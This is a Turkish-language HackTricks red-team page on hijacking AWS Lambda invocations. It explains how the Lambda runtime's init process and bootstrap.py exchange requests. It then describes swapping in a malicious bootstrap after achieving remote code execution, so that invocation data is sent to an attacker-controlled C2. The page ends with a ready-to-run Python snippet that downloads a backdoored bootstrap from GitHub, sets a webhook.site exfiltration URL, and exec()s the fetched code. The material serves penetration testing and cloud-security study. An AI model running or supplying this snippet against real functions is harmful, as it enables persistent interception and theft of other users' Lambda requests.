AWS - Steal Lambda Requests

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Lambda Akışı

  1. Slicer, invokasyonları init işlemine gönderen bir konteyner dışı işlemdir.

  2. Init işlemi, ilginç uç noktaları açığa çıkaran 9001 numaralı bağlantı noktasını dinler:

    • /2018-06-01/runtime/invocation/next – bir sonraki invokasyon etkinliğini al

    • /2018-06-01/runtime/invocation/{invoke-id}/response – invokasyon için işleyici yanıtını döndür

    • /2018-06-01/runtime/invocation/{invoke-id}/error – bir yürütme hatası döndür

  3. bootstrap.py, init işleminden invokasyonları alan ve kullanıcı kodunu işlemek için çağrı yapan bir döngüye sahiptir (/next).

  4. Son olarak, bootstrap.py, yanıtı init'e gönderir.

Bootstrap, kullanıcı kodunu bir modül olarak yükler, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütme aslında bu işlemde gerçekleşmektedir.

Lambda İsteklerini Çalma

Bu saldırının amacı, kullanıcı kodunu, zayıf isteği işleyen bootstrap.py işlemi içinde kötü amaçlı bir bootstrap.py işlemi yürütmeye zorlamaktır. Bu şekilde, kötü amaçlı bootstrap işlemi, istekleri işlemek için init işlemiyle konuşmaya başlayacak ve meşru bootstrap, kötü amaçlı olanı çalıştırırken tuzağa düşmüş olacağından init işleminden istek istemeyecektir.

Bu, kullanıcı kodunun meşru bootstrap.py işlemi tarafından yürütülüyor olması nedeniyle kolayca başarılabilir:

  • Mevcut invokasyonun sahte sonucunu init işlemine göndermek, böylece init, bootstrap işleminin daha fazla invokasyon beklediğini düşünür.

  • Bir istek, /${invoke-id}/response'a gönderilmelidir.

  • invoke-id, meşru bootstrap.py işleminin yığınından inspect python modülünü kullanarak (önerildiği gibi burada) veya sadece tekrar /2018-06-01/runtime/invocation/next'e istek göndererek (önerildiği gibi burada) elde edilebilir.

  • Bir sonraki invokasyonları işleyecek kötü amaçlı boostrap.py yürütün.

  • Gizlilik amaçlarıyla lambda invokasyon parametrelerini saldırganın kontrol ettiği C2'ye gönderip ardından istekleri normal şekilde işleyebilirsiniz.

  • Bu saldırı için, mevcut lambda invokasyonundan bootstrap.py'ın orijinal kodunu almak yeterlidir, kötü amaçlı kodu ekleyip mevcut lambda invokasyonundan çalıştırmaktır.

Saldırı Adımları

  1. Bir Uzaktan Kod Yürütme (RCE) zafiyeti bulun.

  2. Kötü amaçlı bootstrap'ı çalıştırın.

Bu işlemleri kolayca çalıştırabilirsiniz.

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Daha fazla bilgi için https://github.com/carlospolop/lambda_bootstrap_switcher

Referanslar

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated